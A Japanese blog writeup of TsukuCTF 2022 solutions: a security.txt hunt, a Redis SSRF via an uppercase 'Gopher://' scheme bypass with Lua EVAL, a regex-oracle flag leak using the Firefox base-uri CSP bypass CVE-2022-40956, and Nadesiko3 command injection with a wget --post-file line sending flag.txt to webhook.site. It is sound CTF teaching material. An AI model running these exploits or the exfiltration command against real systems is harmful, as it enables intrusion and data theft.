st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TsukuCTF 2022 writeup

10/22 - 10/23という日程で開催された。keymoonさん、ptr-yudaiさん、ふるつきさん、そして私から構成される98ptsで参加して全完し1位。前回はソロチームで今回は4人チームという違いはあるけれども、2年連続で優勝できて嬉しい。

*1

全部で35問が出題されたうち、「OSINT」問が26問というCTFだった*2。CTFで出る「OSINT」には色々あるが、今回は写真が1枚与えられるのでその撮影地を特定するGeolocationであったり、秘匿されているWebサイトの運営者の情報を暴いたりといった問題があった。特に前者のような問題は人によってアプローチが異なるので、writeupを楽しみにしたい*3

ほかのメンバーのwriteup:


[Web 428] bughunter (86 solves)

天才ハッカーのつくし君は、どんなサイトの脆弱性でも見つけることができます。 あなたも彼のようにこのサイトの脆弱性を見つけることができますか? 見つけたら私たちに報告してください。

ディレクトリの総当たりなどは禁止されています。本問題の解決には、多数のリクエストは不要です。

「超絶安全なサイト」を自称するWebサイトのURLが与えられる。

その割には ?tsuku=<script>alert(123)</script> をURLに追加すると alert が出てくるし、全然安全じゃない。そもそも、「反射型XSSなどを見つけたら」と反射型XSSのことを知っているくせに、なぜそのままにしているのか。それはそれとして、脆弱性を発見したからには言われているように運営者へ報告したい。でも、どこへ?

実は、この問題には RFC9116 というタグが付いている。このRFC脆弱性を発見した際の報告先などを記載する security.txt を定義したものだ。まさに今知りたいことだ。この security.txt/.well-known/ ディレクトリ下に置くものだが、このWebサイトにはあるだろうか。

/.well-known/security.txt にアクセスすると、あった。連絡先がフラグになっている。Expires を見ると有効期限を過ぎているけれども、大丈夫だった。

Contact: TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}
Expires: 2022-10-20T15:00:00.000Z
Preferred-Languages: ja, en
TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}

この問題は98ptsがfirst bloodだった。問題文と RFC9116 というタグを見てピンときた。

[Web 500] viewer (8 solves)

Writeups for TsukuCTF21 have been published. Check them out if you'd like!

ソースコード付き。このWebサイトは昨年のTsukuCTFの公式writeupを閲覧できるものだ。適当なユーザ名を入力してログイン後、以下のようなUIが表示される。問題名を選択して Access ボタンを押すと、サーバが別のサイトで公開されているwriteupを取得してきて返してくれる。

app, nginx, redis の3つのコンテナから構成されているが、重要なのは appapp.py だけ。その内容は以下のようなものだった。

from flask import (
    Flask,
    abort,
    make_response,
    render_template,
    request,
    redirect
)
import redis
import pycurl
from io import BytesIO
import traceback
import uuid
import json

app = Flask(__name__)

# initialization
redis = redis.Redis(host='redis', port=6379, db=0)
flag = "TsukuCTF22{dummy flag}" # the flag is replaced a real flag in a production environment.
id = str(uuid.uuid4())
redis.set(id, json.dumps({"id": id, "name": flag}))

# only 'http' and 'https' should have been allowed, right?
# ref: https://everything.curl.dev/cmdline/urls/scheme#supported-schemes
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

# a response is also sanitized just in case because the flag is super sensitive information.
blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

@app.route("/<path:path>")
def missing_handler(path):
    abort(404, "ページが見つかりません")

@app.route("/", methods=["GET", "POST"])
def route_index():
    session_id = request.cookies.get('__SESSION_ID')
    name = None
    if session_id is not None:
        res= redis.get(session_id)
        if res is not None:
            user = json.loads(res)
            print(f"user: {user}")
            name = user["name"]
            if name is not None and "TsukuCTF22{" in name:
                name = "tsukushi"
    else:
        return redirect('/register')

    if request.method == "POST":
        url = url_sanitizer(request.form.get("url"))

        buf = BytesIO()
        try:
            c = pycurl.Curl()
            c.setopt(c.URL, url)
            c.setopt(c.WRITEDATA, buf)
            c.perform()
            c.close()
    
            body = buf.getvalue().decode('utf-8')
        except Exception as e:
            traceback.print_exc()
            abort("error occurs")
        return render_template("index.html", url=url, data=response_sanitizer(body), name=name)
    return render_template("index.html", data=None, name=name)

@app.route("/register", methods=["GET"])
def register():
    return render_template("register.html")
    

@app.route("/register", methods=["POST"])
def register_post():
    name = request.form.get("name")
    redis.set(id, json.dumps({"id": str(uuid.uuid4()), "name": name}))
    redis.expire(id, 100)
    
    resp = make_response(redirect('/'))
    resp.set_cookie('__SESSION_ID', id)
    return resp

@app.route("/logout", methods=["GET"])
def logout():
    resp = make_response(redirect('/'))
    resp.set_cookie('__SESSION_ID', '', expires=0)
    return resp

if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=31555)

ソースコードを読んでいく。

ユーザの情報(というかセッションデータ)はRedisに保存されている。UUIDv4で生成されたキー(セッションID)で {"id": "(セッションID)", "name": "(ユーザ名)"} というJSONを保存している。クライアントは __SESSION_ID というCookieのキーにセッションIDを持ち、それを受けてサーバはRedisからユーザ名を引っ張ってくる。

Redisの初期化時に以下のような処理がある。通常のユーザと同様にUUIDv4のキーで、フラグをユーザ名とするセッションが追加されている。ここから、この問題の目的はフラグの書かれたセッションの情報を盗み見ることであるとわかる。

# initialization
redis = redis.Redis(host='redis', port=6379, db=0)
flag = "TsukuCTF22{dummy flag}" # the flag is replaced a real flag in a production environment.
id = str(uuid.uuid4())
redis.set(id, json.dumps({"id": id, "name": flag}))

writeupを取得する処理を確認する。なかなかシンプルで、PycURLを使っている。ただし、取得できるURLは url_sanitizer によってフィルターされている。レスポンスも response_sanitizer でフィルターされている。

        url = url_sanitizer(request.form.get("url"))

        buf = BytesIO()
        try:
            c = pycurl.Curl()
            c.setopt(c.URL, url)
            c.setopt(c.WRITEDATA, buf)
            c.perform()
            c.close()
    
            body = buf.getvalue().decode('utf-8')
        except Exception as e:
            traceback.print_exc()
            abort("error occurs")
        return render_template("index.html", url=url, data=response_sanitizer(body), name=name)

url_sanitizer の処理を見ていく。dictgopher などの危険なスキームがURLに含まれていれば、たとえそれが含まれているのがパスなどの部分であっても弾かれるようになっている。それで、httphttps 以外を弾いているしている。SSRF対策だろう。

# only 'http' and 'https' should have been allowed, right?
# ref: https://everything.curl.dev/cmdline/urls/scheme#supported-schemes
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

response_sanitizer を確認する。こちらもシンプルで、TsukuCTF22 (つまり、フラグ)が含まれていれば弾くようになっている。

# a response is also sanitized just in case because the flag is super sensitive information.
blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

また、response_sanitizer に加えて、Redisから取得してきたユーザ名にフラグが含まれている場合にもフィルターがある。ユーザ名に TsukuCTF22{ が含まれていれば、強制的に tsukushi としてログインしたものとして扱われてしまう。

        res= redis.get(session_id)
        if res is not None:
            user = json.loads(res)
            print(f"user: {user}")
            name = user["name"]
            if name is not None and "TsukuCTF22{" in name:
                name = "tsukushi"

ここまででやるべきことはわかった。Redisからフラグが含まれているセッションデータを抜き出してきて、別のセッションデータにその一部を埋め込むなりなんなりして手に入れたい。しかしながら、Redisサーバに対してSSRFをしようにも gopherldap といった重要なスキームが使えないため難しい。http はRedis側で防がれているし、https を使おうにもTLS-poisonはセットアップが面倒なのでやだ。tftp などもその部分文字列としてフィルターされている ftp が含まれている(というか、そもそも tftpUDPだ)のでダメ。

TLS-poisonするしかないか~と悩んでいたところ、ふるつきさんが「schemeってcase insensitiveだったりしませんか」と思いついた。本当だ、事前にユーザが入力したURLを str.lower に通したり、case-insensitiveな比較を使ったりしていない。

docker-compose.yml でローカルに環境を立てて、gopher によるRedisへのSSRFができるか試してみる。流れはこうだ。まずは適当な neko というユーザ名で登録する。そして、Gopher://redis:6379/_EVAL… と、1文字目を大文字にして url_sanitizer をバイパスしつつ、gopher プロトコルでRedisサーバに EVAL コマンドを投げつける。EVAL ではランダムに生成したセッションIDをキーに、偽造した poyo というユーザ名のセッションデータを保存する。最後に、Cookie__SESSION_ID に今生成したセッションIDを入れてアクセスし、セッションを偽造できたか確認する。

import uuid
import requests

TARGET = 'localhost:31555'

i = str(uuid.uuid4())
s = requests.Session()
s.post(f'http://{TARGET}/register', data={
    'name': 'neko'
})
s.post(f'http://{TARGET}/', data={
    'url': f'''Gopher://redis:6379/_EVAL "return redis.call('set','{i}','{{\\"name\\":\\"poyo\\"}}')" 0%0d%0aQUIT%0d%0a'''
})

r = requests.get(f'http://{TARGET}/', cookies={
    '__SESSION_ID': i
})
print(r.text)

実行してみる。確かに、poyo というユーザ名のセッションが偽造できている。RedisへのSSRFが成功したようだ。

$ python3 t.py | grep Hello
        <h1>Hello, poyo</h1>

まだ問題は2つある。ひとつは、どうやってほかのセッションデータに紛れてしまっているフラグを見つけるかだ。もうひとつは、どうやって response_sanitizer などをバイパスしてフラグを出力させるかだ。

フラグを見つける方法について考える。せっかく EVAL が使えるのだから、KEYS * ですべてのキーを取得した後に、GET (キー) でその内容を取得し、もしフラグが含まれていれば SET (セッションID) (フラグを含むJSON) を実行させればよいのではないか。これを実装すると以下のようになった。

local k = redis.call('keys','*')
local v
for i, m in ipairs(k) do
  v = redis.call('get', m)
  if string.find(v, 'Tsuku') then
    return redis.call('set', '{i}', '{"name":"' .. '"name":"' .. v .. '"}')
  end
end

もうひとつの問題である、response_sanitizer などをバイパスする方法について考える。単純に、フラグから TsukuCTF を削除すればよいのではないか。ということで、今のLuaスクリプトに少し手を加えて、Tsukutsuku に置換するようにする。ついでに " を削除しているのは、JSONとして破綻しないようにするためだ。

local k = redis.call('keys','*')
local v
for i, m in ipairs(k) do
  v = redis.call('get', m)
  if string.find(v, 'Tsuku') then
    return redis.call('set', '{i}', '{"name":"' .. v:gsub('"', ''):gsub('Tsuku', 'tsuku') .. '"}')
  end
end

あとはこれを実行するだけだ。Pythonスクリプトにする。

import uuid
import requests
import re

TARGET = 'https://tsukuctf.sechack365.com/viewer'

i = str(uuid.uuid4())
s = requests.Session()
s.post(f'{TARGET}/register', data={
    'name': 'neko'
})

s.post(f'{TARGET}', data={
    'url': f'''Gopher://redis:6379/_EVAL "local k = redis.call('keys','*'); local v; for i, m in ipairs(k) do v = redis.call('get', m); if string.find(v, 'Tsuku') then return redis.call('set','{i}','{{\\"name\\":\\"' .. v:gsub('\\"',''):gsub('Tsuku','tsuku') .. '\\"}}'); end end;" 0%0d%0aQUIT%0d%0a'''
})
r = requests.get(f'{TARGET}', cookies={
    '__SESSION_ID': i
})

print(re.findall(r'Hello, (.+)<', r.text)[0].replace('tsuku', 'Tsuku'))

これを実行すると、フラグが得られた。

$ python3 s.py
{name:{id: bdf4486d-2989-4028-87a2-c1a025b28186, name: TsukuCTF22{ur1_scheme_1s_u5efu1}}}
TsukuCTF22{ur1_scheme_1s_u5efu1}

この問題は98ptsがfirst bloodだった。

[Web 500] leaks4b (3 solves)

ケーキをあいまい検索できます。 どれを注文するか迷ってしまいます!! ※フラグの形式は TsukuCTF22{[a-z]{7}} です。多数のリクエストを許容する問題ですが、数秒間隔をあけてください。配布されているソースは厳密なものではありません。フラグの提出回数は3回までとなっています。

ソースコード付き。ケーキの閲覧や注文ができるWebアプリケーションだ。

ケーキのURLを送信することで注文ができる。

app.py は以下のようになっている。

import os
import re
import secrets
from flask import Flask, abort, request
from playwright.sync_api import sync_playwright

app = Flask(__name__)

FLAG = os.getenv("FLAG", "TsukuCTF22{dummy_flag}")

# コンテナで試す場合は要編集 (ex. http://host.docker.internal:31416, http://gateway.docker.internal:31416)
URL = "http://localhost:31416"

def cssi_sanitizer(text):
    # XSS could be mitigated by CSP, but CSSi and ReDoS are dangerous.
    deny_list = ["stylesheet", "import", "image", "style", "flag", "link", "img", "\"", "$", "'", "(", ")", "*", "+", ":", ";", "?", "@", "[", "\\", "]", "^", "{", "}"]
    text = text.lower()
    if any([hack in text for hack in deny_list]):
        return "ハッキングケーキ"
    return text

menu = ["チョコレートケーキ, チョコケーキ, chocolatecake", "チーズケーキ, cheesecake", "バナナケーキ, bananacake"]

@app.route("/<path:path>")
def missing_handler(path):
    abort(404, "ページが見つかりません。\nごめんね(^^♪")

@app.route("/")
def top():
    cake = request.args.get("cake", "チョコレートケーキ")
    cake = cssi_sanitizer(cake[:100])
    flag = request.cookies.get("flag")
    # It is not expected to steal the cookie.
    # This is "leaks4b."
    if (flag == FLAG) and (re.findall(cake, FLAG)):
        img = "flag0.jpg"
    elif re.findall(cake, menu[0]):
        img = f"cake0.jpg"
    elif re.findall(cake, menu[1]):
        img = f"cake1.jpg"
    elif re.findall(cake, menu[2]):
        img = f"cake2.jpg"
    else:
        img = f"cake3.jpg"
    nonce = secrets.token_urlsafe(16)
    return f"""<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; form-action 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';">
    <script src="https://cdn.tailwindcss.com" nonce="{nonce}"></script>
    <title>Leaks4b</title>
</head>
<body>
    <div class="bg-white py-6 sm:py-8 lg:py-12">
        <div class="max-w-screen-md px-4 md:px-8 mx-auto">
            <h1 class="text-gray-800 text-2xl sm:text-3xl font-bold text-center mb-4 md:mb-6">Leaks4b</h1>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                <span class="text-red-600">{cake}</span>を見せてあげます🍰<br>
                絶対に食べたらだめですからね!!<br>
            </p>

            <div class="bg-gray-100 overflow-hidden rounded-lg shadow-lg relative mb-6 md:mb-8">
            <img src="/static/img/{img}">
            </div>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                食べたければ<a href="/order" class="text-blue-600 font-bold">ここ</a>から注文してください。
            </p>


        </div>
    </div>
</body>
</html>
"""


@app.route("/order", methods=["GET"])
def order_get():
    nonce = secrets.token_urlsafe(16)
    return f"""<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';">
    <script src="https://cdn.tailwindcss.com" nonce="{nonce}"></script>
    <title>Leaks4b</title>
</head>
<body>
    <div class="bg-white py-6 sm:py-8 lg:py-12">
        <div class="max-w-screen-md px-4 md:px-8 mx-auto">
            <h1 class="text-gray-800 text-2xl sm:text-3xl font-bold text-center mb-4 md:mb-6">Leaks4b<br> ~ Cake Order Page ~</h1>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                以下から注文したいケーキのURLを送信してください。<br>
                ただし、パティシエは忙しいので大量の注文はやめてください。  
            </p>

            <form method="post" class="form">
            <div class="mb-6">
                <label class="text-gray-500 sm:text-lg mb-6 md:mb-8">URL</label>
                <input type="url" name="url" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5" placeholder="{URL}" required>
            </div>
            <button type="submit" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm w-full sm:w-auto px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800">Order</button>
            </form>

        </div>
    </div>
</body>
</html>
"""

@app.route("/order", methods=["POST"])
def order_post():
    url = request.form.get("url", "____")
    if not url.startswith("http"):
        return "[ERROR] http and https schemes are allowed."
    try:
        with sync_playwright() as p:
            browser = p.firefox.launch()
            context = browser.new_context()
            context.add_cookies([{"name": "flag", "value": FLAG, "httpOnly": True, "url": URL}])
            page = context.new_page()
            page.goto(url, timeout=10000)
            browser.close()
    except Exception as e:
        print(e)
        pass
    return "I received your cake order. Have the flag and wait for your cake!"


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31416)
    # ソース汚くてゴメンね(´;ω;`)

まずはフラグに関係する部分から見ていく。フラグは環境変数から取ってきている。

FLAG = os.getenv("FLAG", "TsukuCTF22{dummy_flag}")

フラグはこのソースコード中の2箇所で参照されているけれども、そのひとつめがこのケーキの閲覧ページだ。cake というクエリパラメータでケーキの種類を指定できるが、それが特定のケーキの種類であれば cake0.jpgcake1.jpg といった、ケーキに対応する画像を表示するようにしている。

そのケーキの種類を判定する処理が奇妙で、re.findall が使われている。この関数には第一引数として正規表現を、第ニ引数としてそれにマッチしているか確認したい文字列を渡すのだけれども、ここでは第一引数にユーザ入力の cake が、第ニ引数に チョコレートケーキ, チョコケーキ, chocolatecake などのサーバ側で定義されている文字列が渡されている。確かにそれで動くけれども、cake in menu[0] のような処理で十分なはずだ。

もうひとつ奇妙な点として、(flag == FLAG) and (re.findall(cake, FLAG)) ならば flag0.jpg という画像を表示する処理がある。もしCookieflag がフラグと一致していれば、かつ cake正規表現としたときにフラグとマッチしていればそうなるということだ。後者だけなら正規表現でちまちまフラグを手に入れられるので嬉しいが、前者はフラグを知らない我々には当てられるはずがないのでどうしようもない。

menu = ["チョコレートケーキ, チョコケーキ, chocolatecake", "チーズケーキ, cheesecake", "バナナケーキ, bananacake"]

# …

@app.route("/")
def top():
    cake = request.args.get("cake", "チョコレートケーキ")
    cake = cssi_sanitizer(cake[:100])
    flag = request.cookies.get("flag")
    # It is not expected to steal the cookie.
    # This is "leaks4b."
    if (flag == FLAG) and (re.findall(cake, FLAG)):
        img = "flag0.jpg"
    elif re.findall(cake, menu[0]):
        img = f"cake0.jpg"
    elif re.findall(cake, menu[1]):
        img = f"cake1.jpg"
    elif re.findall(cake, menu[2]):
        img = f"cake2.jpg"
    else:
        img = f"cake3.jpg"
    nonce = secrets.token_urlsafe(16)
    return f"""<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; form-action 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';">
    <script src="https://cdn.tailwindcss.com" nonce="{nonce}"></script>
    <title>Leaks4b</title>
</head>
<body>
    <div class="bg-white py-6 sm:py-8 lg:py-12">
        <div class="max-w-screen-md px-4 md:px-8 mx-auto">
            <h1 class="text-gray-800 text-2xl sm:text-3xl font-bold text-center mb-4 md:mb-6">Leaks4b</h1>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                <span class="text-red-600">{cake}</span>を見せてあげます🍰<br>
                絶対に食べたらだめですからね!!<br>
            </p>

            <div class="bg-gray-100 overflow-hidden rounded-lg shadow-lg relative mb-6 md:mb-8">
            <img src="/static/img/{img}">
            </div>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                食べたければ<a href="/order" class="text-blue-600 font-bold">ここ</a>から注文してください。
            </p>


        </div>
    </div>
</body>
</html>
"""

フラグが参照されているもう一箇所はここ、ケーキの注文ページだ。ユーザから与えられたURLがもし http から始まっていればPlaywrightでFirefoxを起動し、アクセスさせる。問題サーバのホストに対して flag というCookieのキーでフラグを設定するという形で、フラグが参照されている。

Cookieflag というキーには聞き覚えがある。ケーキの閲覧ページの処理だ。これならさっきの条件分岐中の flag == FLAG という条件をクリアできるし、正規表現を使って、表示される画像が flag0.jpg かそれ以外かという情報からフラグを少しずつ入手できる。でも、どうやってどんな画像が表示されているかを観測すればよいのか。

@app.route("/order", methods=["POST"])
def order_post():
    url = request.form.get("url", "____")
    if not url.startswith("http"):
        return "[ERROR] http and https schemes are allowed."
    try:
        with sync_playwright() as p:
            browser = p.firefox.launch()
            context = browser.new_context()
            context.add_cookies([{"name": "flag", "value": FLAG, "httpOnly": True, "url": URL}])
            page = context.new_page()
            page.goto(url, timeout=10000)
            browser.close()
    except Exception as e:
        print(e)
        pass
    return "I received your cake order. Have the flag and wait for your cake!"

ケーキの閲覧ページをよく見ると、HTML Injectionがあることがわかる。出力されるHTMLのテンプレートの一部を抜粋する。ここまででユーザ入力である cake から <> を削除する処理はない。ただし、厳しいCSPがあるため、HTML InjectionがあったとしてもJavaScriptコードの実行などはできない。

    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; form-action 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';"><p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                <span class="text-red-600">{cake}</span>を見せてあげます🍰<br>
                絶対に食べたらだめですからね!!<br>
            </p>

また、この cake は、事前に cake = cssi_sanitizer(cake[:100]) という処理によって一部の危険な文字列が含まれる場合には「ハッキングケーキ」という文字列が与えられたものとして扱うようになっている。ハッキングケーキってなに?

def cssi_sanitizer(text):
    # XSS could be mitigated by CSP, but CSSi and ReDoS are dangerous.
    deny_list = ["stylesheet", "import", "image", "style", "flag", "link", "img", "\"", "$", "'", "(", ")", "*", "+", ":", ";", "?", "@", "[", "\\", "]", "^", "{", "}"]
    text = text.lower()
    if any([hack in text for hack in deny_list]):
        return "ハッキングケーキ"
    return text

ではどうするか。試しにWebhook.siteで生成したURLを「注文」してみると、Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0 というUser-Agentでアクセスが来た。Firefoxなのは知っていたが、2022年10月22日現在の最新のバージョンは106.0.1なのでやや古い。Firefox 104.0になにか脆弱性はないだろうか。

Mozillaのセキュリティアドバイザリを見ると、Firefox 105.0でいくつか脆弱性が修正されていることがわかる。そのうちのひとつであるCVE-2022-40956base-uri のCSPバイパスとあり、気になる。報告者も "Satoki Tsuji" さんで、つまりはこれはTsukuCTFの作問者であるSatokiさんが報告した脆弱性だ。怪しい。

mozilla-central でBugzillaの番号である 1770094 を検索して見つかった、この脆弱性を修正したdiffを確認すると、どんなものだったかわかる。CSPで base-uri が指定されていたとしても、それを無視して base 要素による設定を反映した上でリソースの先読みをしてしまうというものだったっぽい。

CSPバイパスができるのは「先読み」時に限られるのであまり悪用できるシチュエーションが思い浮かばないが、少なくともこの問題では役立つ。base 要素で自分の管理下にあるサーバを指定してやると、先読みによって http://(自分の管理下にあるサーバ)/static/img/(画像のパス) を取得しに来るはずだ。これなら、flag0.jpg やら cake0.jpg やらのケーキの画像について、どれが表示されたかがわかる。

これで材料は揃った。クエリパラメータの cake(試したい正規表現)|<base href=//(自分の管理下にあるサーバのホスト名)/> を入れたURLを「注文」すると、もしフラグにマッチしていれば /static/img/flag0.jpg に、そうでなければそれ以外のパスにリクエストが来るはずだ。試してみる。

/?cake=.suku...22|%3Cbase%20href=//(省略)/%3E を報告すると、確かに /static/img/flag0.jpg へのアクセスが来た。/?cake=.suko...22|%3Cbase%20href=//(省略)/%3E では /static/img/cake3.jpg へのアクセスが来た。これならいけそうだ。

これを自動化して、フラグを少しずつ抽出するスクリプトを書こう。

import string
import requests
from flask import Flask, Response

YOUR_HOSTNAME = '(省略)'
TARGET = 'http://133.130.96.134:31416/'

app = Flask(__name__)

flag = '.suku...22.'
current_char = None
done = None
@app.route('/static/img/<path:path>')
def get_image(path):
    global done
    if path == 'flag0.jpg':
        done = True
    return 'ok'

def go():
    global flag, current_char, done
    for _ in range(7):
        done = False
        for current_char in string.ascii_lowercase:
            url = f'{TARGET}?cake={flag}{current_char}|<base href=//{YOUR_HOSTNAME}/>'
            print(f'{url=}')
            requests.post(f'{TARGET}/order', data={
                'url': url
            })
            if done:
                flag += current_char
                print(f'{flag=}')
                break
            yield '.' 
        yield '\n' 

@app.route('/start')
def start():
    resp = Response(go())
    resp.content_type = 'text/plain; charset=utf-8'
    return resp

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=80)

実行してしばらく待つとフラグが得られる。

$ python3 solve.py
 * Debugger is active!
…
url='http://133.130.96.134:31416/?cake=.suku...22.a|<base href=//(省略)/>'
133.130.96.134 - - [23/Oct/2022 08:11:37] "GET /static/img/cake3.jpg HTTP/1.1" 200 -
url='http://133.130.96.134:31416/?cake=.suku...22.b|<base href=//(省略)/>'
133.130.96.134 - - [23/Oct/2022 08:11:41] "GET /static/img/cake3.jpg HTTP/1.1" 200 -
url='http://133.130.96.134:31416/?cake=.suku...22.c|<base href=//(省略)/>'
133.130.96.134 - - [23/Oct/2022 08:11:44] "GET /static/img/flag0.jpg HTTP/1.1" 200 -
flag='.suku...22.c'
…
flag='.suku...22.cakeuma'
TsukuCTF22{cakeuma}

4bとは。この問題は98ptsがfirst bloodだった。すべてのWeb問でfirst bloodが取れて嬉しい。実は今回使った脆弱性Mozillaがアドバイザリを出した直後ぐらいから把握していて、CTFで出そうだとも別に考えないまま、パッチの確認からPoCを書いての検証までやっていた。ptr-yudaiさんが「ほぼ100%これが出る」と予言していたけれども、本当に出た。

このwriteupではフラグを特定する作業を自動化しているけれども、本番ではWebサーバのアクセスログを見つつ手作業で頑張っていた。そっちの方が早いと思ったので*4

[Misc 500] nako3ndbox (6 solves)

に・ほ・ん・ご・で・あ・そ・ぼ

nc tsukuctf.sechack365.com 31418

以下のようななでしこのコードが与えられる。これがサーバで動いているようだ。やっていることは単純で、ユーザが入力した文字列をなでしこコードとしてeval(つまり、「ナデシコ」命令を実行)する。ただし、「読」や「開」などフラグが読み出せそうな命令が含まれている場合には実行されない。

「------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------」と言う

「日本語コード:」と尋ねる
それを入力に代入

ブラックリスト=「読、開、保存、実行、起動、サーバ、フォルダ、ファイル、ナデシコ、ディレクトリ、flag」を「、」で区切る

ブラックリスト!=空の間
  ブラックリストの0から1を配列取り出す
  もし(入力でそれの出現回数)!=0ならば
    「日本語の世界からは出しませんよ!!!」と言う
    終了する
  ここまで
ここまで

「{入力}」をナデシコする

終了する

マニュアルの命令一覧を眺めるが、フィルターをバイパスしつつフラグを読み出せそうな命令は見つからない。ふるつきさんが「圧縮解凍ツールパス」という変数を変更しつつ「解凍」という命令を実行すると好きなコマンドが実行できるという性質を利用して色々試していたものの、付いてくるオプションが邪魔でなかなかうまくいっていなかった。

なでしこ3といえば、最近いくつか脆弱性が見つかっていた。そのひとつは「圧縮」「解凍」命令でOSコマンドインジェクションができるというものだ。詳しく知りたい。その前にとりあえず問題環境で動いているなでしこのバージョンを調べてみたが、v3.3.67らしい。これはJVNに書かれている情報によれば脆弱性が修正されているバージョンであるはず。

$ cnako3 --version
v3.3.67

ここでptr-yudaiさんから、1回目の修正が不十分で、何度か追加で修正が入っていたという情報の共有があった。リリースログを見ていくと、問題環境で動いているバージョンよりあとのv3.3.69でもこの脆弱性の修正がされている。

修正をしているコミットを確認する。diffを読むと、まず引数のエスケープが不十分であったことに起因するOSコマンドインジェクションであることがわかる。興味深いことに、テストケースとしてそのまま使えそうなコードが含まれている。

これを元に、試しに以下のようななでしこコードを実行する。

「\'a\';touch hoge;#\'」から「a」に解凍

問題の環境を確認すると、hoge というファイルが作られている。OSコマンドインジェクションができているようだ。

$ docker exec -it nako3ndbox-nako3ndbox-1 ls
app.nako3  flag.txt
$ nc localhost 31418
------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------
日本語コード:「\'a\';touch hoge;#\'」から「a」に解凍
/bin/sh: 7z: not found

$ docker exec -it nako3ndbox-nako3ndbox-1 ls
app.nako3  flag.txt   hoge

実行するOSコマンドを wgetflag.txt をWebhook.siteにアップロードするものに変える。

$ nc tsukuctf.sechack365.com 31418
------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------
日本語コード:「\'a\';wget https://webhook.site/(省略) --post-file=fla」&「g.txt」&「;#\'」から「a」に解凍
/bin/sh: 7z: not found
Connecting to webhook.site (46.4.105.116:443)
saving to '(省略)'
'(省略)' saved

Webhook.siteの方を確認すると、フラグがアップロードされていた。

TsukuCTF22{y0u_jump3d_0u7_0f_j4p4n353}

こちらもleaks4bと同じように、Satokiさんが発見された脆弱性を題材にした問題だった。やはりptr-yudaiさんが出そうだとCTFの開始前から予言していて、脆弱性を修正するコミットも調べて把握しつつ、なでしこを使う問題が出たら要注意だという話になっていた。

[OSINT 375] sky (113 solves)

